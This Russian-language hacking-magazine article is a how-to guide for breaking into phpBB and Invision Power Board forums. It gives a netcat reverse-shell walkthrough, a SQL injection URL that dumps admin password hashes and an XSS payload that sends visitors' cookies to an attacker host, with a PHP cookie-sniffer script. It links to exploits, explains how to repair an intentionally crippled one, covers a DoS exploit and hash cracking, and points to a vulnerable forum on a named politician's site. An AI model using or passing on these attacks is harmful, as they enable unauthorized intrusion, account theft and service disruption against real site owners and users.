На главную

Итоги форумной войны

Все главные сплойты и баги популярных форумов

Сложно не заметить, что большинство совершаемых ныне взломов осуществляется через уязвимости web-сценариев. Внешне такой взлом может показаться вполне простой задачей: нашел дырявый скрипт, затем подходящий эксплоит — и дело в шляпе. Но как только дело доходит до практики, сталкиваешься с совершенно невероятными проблемами.

[В чем проблема?]

Если ты хоть раз пытался использовать для взлома эксплоиты, то должен понимать, о чем идет речь. Согласись, найти уязвимый сервис или web-сценарий сегодня не проблема. Ошибки, в том числе и критические, есть практически везде, а многочисленные сообщения в ленте багтрака — лишнее тому подтверждение. Куда сложнее подобрать подходящий и, что немаловажно, работоспособный эксплоит. Обычно проблемы начинаются на стадии его применения. То эксплоит вываливается с ошибкой, то отказывается компилироваться, то вообще, ничего не выполняя, пытается отформатировать винчестер :). Более того многие разработчики умышленно оставляют в коде эксплоита ошибку, дабы избежать его использования теми, кому он, по правде говоря, и не нужен.

Багов так много, что иногда смотришь на форум и знаешь, что он бажный. Но поломать его никак не получается. Не беда — сегодня мы подготовили для тебя самый полный гид по горячим уязвимостям самых популярных форумов phpBB и IPB. Как говориться, поставим все точки над i.

[phpBB <= 2.0.12 — доступ к админ-панели]

В любой версии phpBB младше 2.0.13 возможно легко получить доступ к администраторскому интерфейсу. Столь серьезная брешь в безопасности существует благодаря некорректному сравнению идентификационных данных в момент авторизации пользователя. Программисты допустили логическую ошибку на 82 строке сценария includes/sessions.php:

if($sessiondata['autologinid'] == $auto_login_key)

На первый взгляд, все нормально. Проверяется равенство идентификаторов, если все правильно, то пользователь впускается в систему. Однако это не совсем так. Дело в том, что оператор «==» возвращает true, если его операнды «равны» друг другу, причем слово «равны» здесь понимается довольно своеобразно. Так, к примеру, «+1.a», с точки зрения оператора «==», это тоже самое, что и «0001». Дело в том, что при приведении типов и та, и другая строка станет единицей и, значит, они будут равны друг другу. По этой причине в PHP есть оператор «тождественно равно» (три знака равно, ===), который, кроме всего прочего, подразумевает еще и совпадение типов операндов. Именно этот оператор и следовало бы использовать в этом месте сценария разработчикам. Но они об этом не подумали, кое-куда не досмотрели, и получили серьезную брешь в своем продукте.

Оказывается, что для того, чтобы пользователя пропустили в систему необходимо лишь, чтобы длина идентификатора в его кукисе совпадала с длиной $auto_login_key. Подобрать необходимое значение autologinid и записать в плюшку несложно, с чем великолепно справляется эксплоит от команды [N]eo [S]ecurity [T]eam. Эксплоит написан на чистом C и отлично компилируется под любую платформу, т.к. не использует каких-либо специфических библиотек. Тем не менее, есть один нюанс: его работа возможна только совместно с браузерами Mozilla или Firefox. Эти браузеры хранят значения cookies в файле cookies.txt (бинарник эксплоита нужно поместить в директорию с этим файлом), и именно в этот файл эксплоит осуществляет запись специально составленной плюшки.

Скачать эксплоит можно отсюда — www.securitylab.ru/53017.html. Перед использованием не забудь авторизоваться на форуме, отключив при этом опцию сохранения пароля.

[phpBB <= 2.0.12 — выполнение произвольного кода]

Доступ к административной панели — это, согласись, далеко не предел мечтаний. Особенно в том случае, если до самого форума тебе нет никакого дела. Точно также подумал и хакер overdose, который использовал обнаруженную брешь в sessions.php и написал эксплоит для выполнения произвольного кода на сервере. Для этого ему пришлось заюзать особенность одного из административных файлов admin_styles.php, позволяющий подключить к форуму шаблон с внедренной функцией eval($str) ($str — строка, которая во время трансляции будет интерпретирована как PHP-код). Таким образом, получилось реализовать следующий алгоритм: используя брешь в авторизации, эксплоит проникает в форум с правами администратора, подключает вспомогательный шаблон с функцией eval() и с помощью специальных параметров передает ей код, выполняющий системные команды.

Эксплоит написан на С (www.securitylab.ru/_Exploits/2005/03/phpbbexp.cpp.txt), но чтобы избежать проблем с компиляцией рекомендую сразу скачать любезно собранный бинарник (www.t-nas.org/exploity/windows/phpbbexp.exe). Теперь пару слов о том, как его нужно использовать. Бинарник имеет 3 параметра: полный адрес форума, IP-адрес компьютера с включенным netcat’ом и порт, на котором «сидит» nc. Для лучшего понимания приведу пример использования:

D:\xakep\phpbbexp.exe http://site.com/phpbb2/ 62.11.11.11 31337

_ nom du cookie recuperer : phpbb2mysql

_ SESSION ID recuperз ... 06fddfs62bbd263434243456f11f3212 http://site.com/phpbb2/?sid=06fddfs62bbd263434243456f11f3212

_ recuperation du nom de la table sql ... sempervi OK

_ Injection de la fake templates ...OK

_ Fichier crзe

D:\xakep\nc.exe -lvvp 31337

listening on [any] 31337

connect to [62.11.11.11] from site.com [216.237.117.112] 57532

id

uid=99(nobody) gid=99(nobody) groups=99(nobody)

Nc.exe — это сетевая утилита Netcat (www.securitylab.ru/tools/33265.html), которая создает сетевое соединение на 31337 порту и «слушает» входящие подключения. Фактически ты получаешь веб-шелл, но если хочешь поковыряться в админ-панели, достаточно удалить все свои куки и зайти по ссылке, которую тебе выдал эксплоит. В моем случае — http://site.com/phpbb2/?sid=06fddfs62bbd263434243456f11f3212

[phpBB <= 2.0.13 download mod — выполнение произвольного кода]

Такие популярные форумы, как phpBB со временем обрастают множеством независимых дополнений (так называемые mod’ы и hack’и), совершенствующие форум дополнительными функциями и возможностями. Однако наряду с новыми фишками появляются и новые баги. Не так давно была найдена уязвимость в популярном моде downloads, который организовывает систематизированную раздачу файлов среди пользователей форума. Уязвимость критическая: разработчики почему-то не сочли нужным фильтровать параметры запроса, поэтому даже неопытный хакер смог бы самостоятельно совершить SQL-инъекцию. Запрос к сценарию составляется по всем канонам классического жанра: www.victim.com/phpBB/downloads.php?cat=-1%20UNION%20SELECT%200,user_password,0,0,0,0,0,0,0%20FROM%20phpbb_users%2 0WHERE%20user_id=1/*. Таким образом извлекается хэш любого из пользователей форума, в том числе и администратора — для этого в качестве user_id нужно обозначить двойку. В случае необходимости искать этот шаблон будет неудобно, поэтому я рекомендую тебе использовать эксплоит (www.securitylab.ru/_Exploits/2005/04/downloads_phpBB_2_0_13.pl.txt), который подходит для любой версии <=2.0.13 с установленным download хаком. Эксплоиту передаются три параметра: имя удаленного хоста или IP-адрес, путь к форуму на сервере, идентификатор администратора (в большинстве случаев равен 2). В случае успеха эксплоит вернет MD5-хэш админа, который можно поместить в свои куки и беспрепятственно зайти на форум под администратором.

[phpBB <= 2.0.15 отказ в обслуживании]

DoS-эксплоиты для web-сценариев — вообще говоря, большая редкость. Однако они все-таки существуют. Недавний эксплоит от security-группы [NST] способен при некоторых условиях завалить любую версию phpBB, младше 2.0.16. В основе работы эксплоита лежит использование техники узконаправленного флуда. Эксплоит просто засыпает форум большим количеством ложных запросов, для обработки которых требуется большое количество времени. Используя недостаточно продуманную систему фильтрации в profile.php, производятся попытки зарегистрировать большое количество пользователей. На случай неудачи продуман другой вариант — эксплоит начинает валить сервер с помощью большого количества поисковых запросов (файл search.php). Такие запросы составляется особым образом, чтобы серверу требовалось максимально возможное количество времени для их обработки.

Существуют две версии этого эксплоита: одна из них написана на чистом C, другая на Perl’е. Мне удалось протестировать обе из них, однако, должен признать, что работают они отнюдь не всегда. Моего домашнего ADSL-соединения с узким каналом в 256 кбит/с для этого явно не хватало, поэтому пришлось использовать специально заготовленный шелл. После десятка попыток, несколько форумов действительно упали — вместо полноценной работы выдались какие-то ошибки MySQL. Обе версии эксплоита лежат здесь — neosecurityteam.net/index.php?pagina=advisories&id=15.

[phpBB 2.0.15 — выполнение произвольных команд]

Эта версия форума — еще одна настоящая находка для хакера. Благодаря грубой ошибке в ходе реализации подсветки текста (да-да, опять она!), становится возможным внедрить в исполняемый скрипт произвольный PHP-код. Любой желающий может ввести PHP-функцию system(), а параметрах указать нужный набор системных команд, т.е. получить своеобразный shell.

Все это безобразие становится возможным из-за неправильного использования функции preg_replace(), вызываемой в сценарии viewtopic.php. Объясню на примере.

<?

$string1="system(“uname -a”)";

$string2=preg_replace('//e',$string1,'');

?>

Ключ «e» функции preg_replace указывает на то, что $string1 нужно интерпретировать как PHP-код, т.е. данный пример выполнит на сервере команду uname –a. Если правильно составить запрос к функции подсветки, то внедрить можно совершенно любой код и соответственный выполнить на удаленном сервере любую команду. Эксплоит, написанный на python, можно скачать отсюда — www.securitylab.ru/_Exploits/2005/07/phpbb2015.py.

Примечательно, что эта уязвимость стала логическим развитием критического бага, исправленного еще в phpBB 2.0.11. При всей любви хакеров к phpBB, ее разработчики почему-то довольно халтурно зализывают многочисленные ошибки, даже критические.

[phpBB <=2.0.16 — межсайтовый скриптинг]

Для начала давай вспомним, что из себя представляет межсайтовый скиптинг (Cross Site Scripting). XSS-нападение подразумевает, что хакеру удалось инъектировать свой HTML-код в уязвимый сценарий. В большинстве случаев этот код представляет небольшой JavaScript-сценарий, предназначенный для кражи конфиденциальной информации о пользователях (их cookies, идентификаторы сессий и т.д.). Иногда XSS позволяет обойти механизм аутентификации, а в некоторых случаях — даже выполнить произвольную команду на стороне сервере.

Не буду таить: в phpBB подобный багов полно. Наиболее универсальная уязвимость, которая присуще всем phpBB <=2.0.16, была найдена в коде обработки тега [URL]. Недостаточно продуманные регеспы позволяют сделать вложенные BB-теги URL и инъектировать JavaScript-код. Весь эксплоит (antichat.ru/txt/phpbb/)выглядит следующим образом:

[color=ЦВЕТ_ФОНА][url]www.ut[url=www.s=''style='font-size:0;color:ЦВЕТ_ФОНА'style='top:expression(eval(this.sss));'sss=`i=new/**/Image();i.src='http://tvoi_server.ru/cgi-bin/sniff.php?'+document.cookie;this.sss=null`style='font-size:0;][/url][/url]'[/color]

Эксплоит, написанный Zadoxlik с antichat.ru, отсылает куки посетителей форума на специальный скрипт-снифер, расположенный по адресу http://tvoi_server.ru/cgi-bin/sniff.php. Этот скрипт может быть установлен на любом бесплатном хостинге с возможностью использования PHP:

<?php

$cookie = $_GET['c'];

$ip = getenv ('REMOTE_ADDR');

$date=date("j F, Y, g:i a");

$referer=getenv ('HTTP_REFERER');

$fp = fopen('cookies.txt', 'a');

fwrite($fp, 'Cookie: '.$cookie.'<br> IP: ' .$ip. '<br> Date and Time: ' .$date. '<br> Referer: '.$referer.'<br><br><br>');

fclose($fp);

?>

Ты, наверное, заметил, что в коде эксплоита есть странный параметр — ЦВЕТ_ФОНА. Автор эксплоита сделал это неслучайно. Дело в том, что эксплоит сработает только у посетителей, использующих Internet Explorer. Opera и Firefox воспринимают такой код некорректно и выводят сообщения об ошибке. Чтобы не выдавать себя, эксплоит маскирует их, отображая сообщения об ошибках цветом фона, т.е. делает их невидимыми. Этот цвет можно взять из текущего шаблона, в частности для стандартной темы он равен — #EFEFEF.

[Invision Power Board]

IPB подобно phpBB является чрезвычайно популярным скриптом для создания форума, однако количество найденных в нем уязвимостей на порядок меньше. Скажу больше: серьезные дырки, из которых реально возможно причинить урон серверу практически отсутствуют, в багтраке нет ни одного сообщения о возможности выполнить на удаленной машине произвольный код. После долгого изучения багов и эксплоитов хочется обратить внимание лишь на один эксплоит — универсальный вариант для совершения SQL-инъекции как для ветки 1.x, так и 2.x (до версии 2.0.4) IPB.

[IPB 1.x, 2.x (<2.0.4) — доступ к админ-панели]

Любая из обозначенных версий IPB подвержена SQL-инъекции. Это достигается за счет недостаточно серьезной обработки cookies-файлов в сценарии sources/login.php. Баг закрался в функции my_getcookie($name), которая некорректно использует функцию urldecode(). Если на сервере включены magic quotes, переданный в запросе символ %2527 превращается в одинарную кавычку. Благодаря этому хакеру удается выполнить любой SQL-запрос и извлечь хэши пользователей.

Эксплоит для этой уязвимости выпустили сразу несколько security-команд, в том числе и RST. Ты можешь скачать его с rst.void.ru/download/r57ipb2.txt, но спешу огорчить: сразу он у тебя не заработает. 1dt.w0lf, который разработал этот эксплоит, умышленно оставил в нем логическую ошибку, т.е. реализовал защиту от скрипт-кидис. Знакомому с Perl’ом человеку не составит труда найти ее, но чтобы не мучиться подскажу. Для восстановления работоспособности нужно лишь заменить строку «$allchar .= chr(42);» на строку «$allchar .= chr($i);».

Для работы perl-скрипту необходимо передать 4 параметра: адрес сервера, путь до форума, member_id (для администратора — 1), версия IPB (0 — IPB 1.x, 1 — IPB 2.x). В конкретном примере это выглядит так: r57ipb2.pl www.victim.com /IPB/ 1 1. Ключевое условия для успеха: magic_quotes в конфиге PHP на сервере должны быть включены.

[конец]

Многие осуждают использование готовых эксплоитов, но в этом нет ничего зазорного. Пускай серьезного опыта на таких взломах ты не наберешься, но зато сможешь легко разжиться полноценным *nix-шеллом. А это, между прочим, уже хороший плацдарм для будущих взломов, для которых возможно придется устанавливать свой собственный прокси-сервер без логов или, к примеру, сканировать целые подсети IP-адресов для поиска машин с определенной уязвимостью. phpBB представляет для этого отличную возможность — думаю, что теперь тебе не составит труда уложить его на лопатки.

[что делать с хэшем пароля администратора?]

Многие из представленных эксплоитов позволяют получить хэш пароля администратора. Однако хэш — это не сам пароль, а как бы его отпечаток, некоторая сигнатура. Поэтому указать его в качестве пароля нельзя. Есть два варианта его использования.

Первый вариант самый очевидный — расшифровать хэш и получить пароль в открытом виде. Большинство форумов используют для генерации хэшей алгоритм MD5, который может быть расшифрован исключительно брутфорсом (тупым, по словарю или с помощью таблиц радуги – не важно). Среди специально предназначенных для этого утилит, я бы выделил программу PasswordsPro (www.insidepro.com). К ее достоинства можно отнести хорошую функциональность (перебор по словарю, по маске, тупой перебор по автоматически составленным комбинациям), высокую скорость перебора, возможность расшифровать несколько видов хэшей (MySQL, разновидности MD4 и MD5, SHA-1 и SHA-1). В свою очередь словарь для перебора может значительно увеличить шансы на успех — его можно скачать, например, с www.nsd.ru. Для расшифровки MD5-хэшей существуют также online-сервисы. Наиболее продвинутым из них по праву считается www.passcracking.com, использующий распределенную систему вычислений и огромную базу хэш-таблиц (47,6 Гб). В любом случае для расшифровки хэша может потребовать немало времени, поэтому я рекомендую использовать другой вариант.

После того, как ты авторизировался на форуме (с правами обычного пользователя) на твоей машине автоматически создалась плюшка (cookie), содержащая хэш твоего пароля. Это необходимо для того, чтобы форум «запомнил» тебя и тебе не приходилось вводить пароль заново. Это играет нам на руку, т.к. подменив хэш своего собственного пароля на хэш пароля администратора, ты сможешь без каких-либо проблем залогиниться под его аккаунтом. Отредактировать cookies можно с помощью утилиты Cookie Editor (www.proxoft.com) или, например, с помощью редактора плюшек, встроенного в браузер Opera

Юля, привет!

Небольшой addon от Никитоса. Пару недель назад я ковырялся с багами в IPB. Ну и, конечно, мне захотелось попробовать какие-то изыскания на практике и я вбил сразу в гугле соответствующий запрос. Каково же было мое удивление, когда я наткнулся на сайт Юлии Тимошенко – видного украинского политического деятеля. Да, ты угадал, в качестве форума там использовался как раз тот самый бажный IPB – даже больше того, он до сих пор там стоит :). Я, разумеется, как добропорядочный гражданин, не стал ничего такого делать плохого, что бы подорвало международный авторитет Украины. Тебе, разумеется, тоже этого не советую. Можно просто попереться над самим фактом. Какая, все-таки, смешная страна Украина :).

WARNING

Не стоит забывать, что все действия взломщиков противозаконны и эта статья предназначена лишь для ознакомления. За применение материала в незаконных целях автор и редакция ответственности не несут.

INFO

Не спеши списывать со счетов нерабочий эксплоит. Не исключено, что разработчики намеренно сделали какую-то ошибку, т.е. реализовали защиту от скрипткидис. Изучи уязвимость, которую использует этот эксплоит, и проштудируй его код. Информация о доводке эксплоита до ума нередко появляется на security-форумах и сайтах.

WWW

Лучшая защита от свежих багов — своевременное обновление используемого софта и скриптов. Последние версии phpBB и Invision Power Board можно скачать с www.phpbb.com и www.invisionboard.com соответственно.

(Администратор не несет ответственности (Автор Денис Евгеньевич)